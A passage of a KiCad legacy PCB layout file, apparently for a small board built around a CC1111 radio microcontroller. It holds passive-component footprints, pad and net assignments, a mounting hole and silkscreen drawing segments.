0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 34 \"N-000037\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 52750 37100 1800 15 4CFF2E39 504D3AE6 ~P\nLi GSG-0603\nSc 504D3AE6\nAR /504CAD71\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 1800 60 N V 21 N \"C15\"\nT1 0 0 240 240 1800 60 N I 21 N \"1uF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 19 \"/VBUS\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 52750 38900 1800 15 4CFF2E39 504D3AE8 ~P\nLi GSG-0603\nSc 504D3AE8\nAR /504CAD75\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 1800 60 N V 21 N \"C16\"\nT1 0 0 240 240 1800 60 N I 21 N \"4u7\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 64000 47100 2700 15 505160A6 504D64FA ~P\nLi GSG-0603\nSc 504D64FA\nAR /504CA04A\nOp 0 0 0\n.SolderMask 40\nT0 230 -20 240 240 2700 60 N V 21 N \"C6\"\nT1 0 0 240 240 2700 60 N I 21 N \"10nF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 29 \"N-000031\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 30 \"N-000032\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 66250 43750 1800 15 4CFF2E39 504D3AEE ~P\nLi GSG-0603\nSc 504D3AEE\nAR /504CA3D1\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 1800 60 N V 21 N \"C1\"\nT1 0 0 240 240 1800 60 N I 21 N \"1uF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 31 \"N-000033\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 51000 45500 2700 15 4CFF2E39 504D3AF6 ~P\nLi GSG-0603\nSc 504D3AF6\nAR /504CEFF7\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 2700 60 N V 21 N \"R2\"\nT1 0 0 240 240 2700 60 N I 21 N \"10k\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 18 \"/RESET_N\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0402\nPo 65100 47100 900 15 4FB6CFE4 504D3AF7 ~P\nLi GSG-0402\nSc 504D3AF7\nAR /504CFCBE\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 900 40 N V 21 N \"D1\"\nT1 0 20 160 160 900 40 N I 21 N \"TVS_DIODE\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 23 \"N-000024\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 66050 44250 0 15 4FB6CFE4 504D3AD2 ~~\nLi GSG-0402\nSc 504D3AD2\nAR /504CA8D9\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 0 40 N V 21 N \"C2\"\nT1 0 20 160 160 0 40 N I 21 N \"100nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 64800 45400 900 15 4FB6CFE4 504D65ED ~~\nLi GSG-0402\nSc 504D65ED\nAR /504CAA44\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 900 40 N V 21 N \"C3\"\nT1 0 20 160 160 900 40 N I 21 N \"220pF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 64350 40850 2700 15 50515FE5 504D3AF2 ~~\nLi GSG-0402\nSc 504D3AF2\nAR /504CA908\nOp 0 0 0\n.SolderMask 40\nT0 0 -20 160 160 2700 40 N V 21 N \"C4\"\nT1 0 20 160 160 2700 40 N I 21 N \"100nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 64400 45400 900 15 4FB6CFE4 504D683B ~~\nLi GSG-0402\nSc 504D683B\nAR /504CAA22\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 900 40 N V 21 N \"C5\"\nT1 0 20 160 160 900 40 N I 21 N \"10nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 64700 46300 0 15 4FB6CFE4 504D683E ~~\nLi GSG-0402\nSc 504D683E\nAR /504CA01F\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 0 40 N V 21 N \"C7\"\nT1 0 20 160 160 0 40 N I 21 N \"10nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 28 \"N-000030\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 61550 44350 0 15 4FB6CFE4 504D3AF4 ~~\nLi GSG-0402\nSc 504D3AF4\nAR /504CA977\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 0 40 N V 21 N \"C8\"\nT1 0 20 160 160 0 40 N I 21 N \"10nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 63250 45450 900 15 4FB6CFE4 504D3ADA ~~\nLi GSG-0402\nSc 504D3ADA\nAR /504CA9AD\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 900 40 N V 21 N \"C9\"\nT1 0 20 160 160 900 40 N I 21 N \"2p2\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 60150 45500 900 15 4FB6CFE4 504D3ADC ~~\nLi GSG-0402\nSc 504D3ADC\nAR /504CA2F0\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 900 40 N V 21 N \"C10\"\nT1 0 20 160 160 900 40 N I 21 N \"22pF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 41 \"N-000046\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 62850 45450 2700 15 50515FB0 504D3ADE ~~\nLi GSG-0402\nSc 504D3ADE\nAR /504CA2F3\nOp 0 0 0\n.SolderMask 40\nT0 0 -20 160 160 2700 40 N V 21 N \"C11\"\nT1 0 20 160 160 2700 40 N I 21 N \"22pF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 39 \"N-000044\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0402\nPo 61350 42700 0 15 4FB6CFE4 504D3AE4 ~~\nLi GSG-0402\nSc 504D3AE4\nAR /504CA934\nOp 0 0 0\n.SolderMask 40\nT0 0 20 160 160 0 40 N V 21 N \"C14\"\nT1 0 20 160 160 0 40 N I 21 N \"100nF\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0603\nPo 64300 46800 1800 15 50515FC0 504D4803 ~~\nLi GSG-0603\nSc 504D4803\nAR /504D4718\nOp 0 0 0\n.SolderMask 40\nT0 -140 0 240 240 1800 60 N V 21 N \"C17\"\nT1 0 0 240 240 1800 60 N I 21 N \"10nF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 30 \"N-000032\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 23 \"N-000024\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0402\nPo 65200 45400 2700 15 50515FB8 504D3AD8 ~~\nLi GSG-0402\nSc 504D3AD8\nAR /504CA84D\nOp 0 0 0\n.SolderMask 40\nT0 0 -20 160 160 2700 40 N V 21 N \"R4\"\nT1 0 20 160 160 2700 40 N I 21 N \"56k\"\nDS 350 -150 350 150 80 21\nDS 350 150 -350 150 80 21\nDS -350 150 -350 -150 80 21\nDS -350 -150 350 -150 80 21\n$PAD\nSh \"2\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 210 0\n.SolderMask 40\n$EndPAD\n$PAD\nSh \"1\" R 200 220 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 40 \"N-000045\"\nPo -210 0\nLe 24791752\n.SolderMask 40\n$EndPAD\n$EndMODULE  GSG-0402\n$MODULE GSG-0603\nPo 59200 41400 2700 15 4CFF2E39 504D3AE0 ~~\nLi GSG-0603\nSc 504D3AE0\nAR /504CAEAF\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 2700 60 N V 21 N \"C12\"\nT1 0 0 240 240 2700 60 N I 21 N \"47pF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 37 \"N-000042\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 59200 42600 900 15 4CFF2E39 504D3AE2 ~~\nLi GSG-0603\nSc 504D3AE2\nAR /504CAECB\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 900 60 N V 21 N \"C13\"\nT1 0 0 240 240 900 60 N I 21 N \"47pF\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 43 \"N-000051\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 59800 39450 900 15 4CFF2E39 504D3AC3 ~~\nLi GSG-0603\nSc 504D3AC3\nAR /504CAF13\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 900 60 N V 21 N \"R6\"\nT1 0 0 240 240 900 60 N I 21 N \"0\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 33 \"N-000035\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-HOLE260MIL\nPo 58500 19000 0 15 5051616D 504D7CF3 ~~\nLi GSG-HOLE260MIL\nSc 504D7CF3\nAR GSG-HOLE260MIL\nOp 0 0 0\nT0 0 0 394 394 0 80 N I 21 N \"HOLE260MIL\"\nT1 0 0 394 394 0 80 N I 21 N \"VAL**\"\n$PAD\nSh \"\" C 2600 2600 0 0 0\nDr 2600 0 0\nAt STD N 00C0FFFF\nNe 0 \"\"\nPo 0 0\nLe 235021312\n$EndPAD\n$EndMODULE  GSG-HOLE260MIL\n$MODULE GSG-QFN36\nPo 63700 43100 2700 15 504E2458 504D65EA ~~\nLi GSG-QFN36\nSc 504D65EA\nAR /504D0F40\nOp 0 0 0\nT0 0 0 600 600 2700 120 N V 21 N \"U1\"\nT1 0 0 600 600 2700 120 N I 21 N \"CC1111\"\nDS 1181 -906 1181 -1181 80 21\nDS 1181 -1181 906 -1181 80 21\nDS 906 1181 1181 1181 80 21\nDS 1181 1181 1181 906 80 21\nDS -1181 906 -1181 1181 80 21\nDS -1181 1181 -906 1181 80 21\nDS -1181 -906 -1181 -984 80 21\nDS -1181 -984 -984 -1181 80 21\nDS -984 -1181 -906 -1181 80 21\n$PAD\nSh \"1\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 9 \"/P1_2\"\nPo -1142 -787\n$EndPAD\n$PAD\nSh \"2\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -1142 -591\n$EndPAD\n$PAD\nSh \"3\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 42 \"N-000047\"\nPo -1142 -394\n$EndPAD\n$PAD\nSh \"4\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 32 \"N-000034\"\nPo -1142 -197\n$EndPAD\n$PAD\nSh \"5\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 3 \"/P0_0\"\nPo -1142 0\n$EndPAD\n$PAD\nSh \"6\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 4 \"/P0_1\"\nPo -1142 197\n$EndPAD\n$PAD\nSh \"7\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 5 \"/P0_2\"\nPo -1142 394\n$EndPAD\n$PAD\nSh \"8\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 6 \"/P0_3\"\nPo -1142 591\n$EndPAD\n$PAD\nSh \"9\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 7 \"/P0_4\"\nPo -1142 787\n$EndPAD\n$PAD\nSh \"10\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 37 \"N-000042\"\nPo -787 1142\n$EndPAD\n$PAD\nSh \"11\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 43 \"N-000051\"\nPo -591 1142\n$EndPAD\n$PAD\nSh \"12\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -394 1142\n$EndPAD\n$PAD\nSh \"13\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 8 \"/P0_5\"\nPo -197 1142\n$EndPAD\n$PAD\nSh \"14\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 15 \"/P2_0\"\nPo 0 1142\n$EndPAD\n$PAD\nSh \"15\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 2 \"/DD\"\nPo 197 1142\n$EndPAD\n$PAD\nSh \"16\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 1 \"/DC\"\nPo 394 1142\n$EndPAD\n$PAD\nSh \"17\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 16 \"/P2_3\"\nPo 591 1142\n$EndPAD\n$PAD\nSh \"18\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 17 \"/P2_4\"\nPo 787 1142\n$EndPAD\n$PAD\nSh \"19\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 1142 787\n$EndPAD\n$PAD\nSh \"20\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 41 \"N-000046\"\nPo 1142 591\n$EndPAD\n$PAD\nSh \"21\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 39 \"N-000044\"\nPo 1142 394\n$EndPAD\n$PAD\nSh \"22\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 1142 197\n$EndPAD\n$PAD\nSh \"23\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 26 \"N-000028\"\nPo 1142 0\n$EndPAD\n$PAD\nSh \"24\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 27 \"N-000029\"\nPo 1142 -197\n$EndPAD\n$PAD\nSh \"25\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 1142 -394\n$EndPAD\n$PAD\nSh \"26\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 1142 -591\n$EndPAD\n$PAD\nSh \"27\" O 394 110 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 40 \"N-000045\"\nPo 1142 -787\n$EndPAD\n$PAD\nSh \"28\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 787 -1142\n$EndPAD\n$PAD\nSh \"29\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo 591 -1142\n$EndPAD\n$PAD\nSh \"30\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 31 \"N-000033\"\nPo 394 -1142\n$EndPAD\n$PAD\nSh \"31\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 18 \"/RESET_N\"\nPo 197 -1142\n$EndPAD\n$PAD\nSh \"32\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 14 \"/P1_7\"\nPo 0 -1142\n$EndPAD\n$PAD\nSh \"33\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 13 \"/P1_6\"\nPo -197 -1142\n$EndPAD\n$PAD\nSh \"34\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 12 \"/P1_5\"\nPo -394 -1142\n$EndPAD\n$PAD\nSh \"35\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 11 \"/P1_4\"\nPo -591 -1142\n$EndPAD\n$PAD\nSh \"36\" O 394 110 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 10 \"/P1_3\"\nPo -787 -1142\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 0 0\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 575 0\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -575 0\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 0 -575\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 0 575\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 575 -575\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -575 -575\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -575 575\n$EndPAD\n$PAD\nSh \"0\" R 579 579 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 575 575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 575 -575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 0 -575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo -575 -575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo -575 0\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 0 0\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 575 0\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo -575 575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 0 575\n$EndPAD\n$PAD\nSh \"0\" C 551 551 0 0 2700\nDr 150 0 0\nAt STD N 00C0FFFF\nNe 21 \"GND\"\nPo 575 575\n$EndPAD\n$EndMODULE  GSG-QFN36\n$TEXTPCB\nTe \"P2_2\"\nPo 58500 33000 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"P2_1\"\nPo 55150 33000 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"1\"\nPo 50800 31500 400 500 100 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$DRAWSEGMENT\nPo 0 56350 45500 56100 45500 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 56600 45500 56850 45500 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 65550 39150 65550 39400 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 65550 38900 65550 38650 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 63400 46450 64200 46450 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 64200 46500 64200 46200 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 63400 46500 64200 46500 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 63400 46200 63400 46500 80\nDe 21 0 900 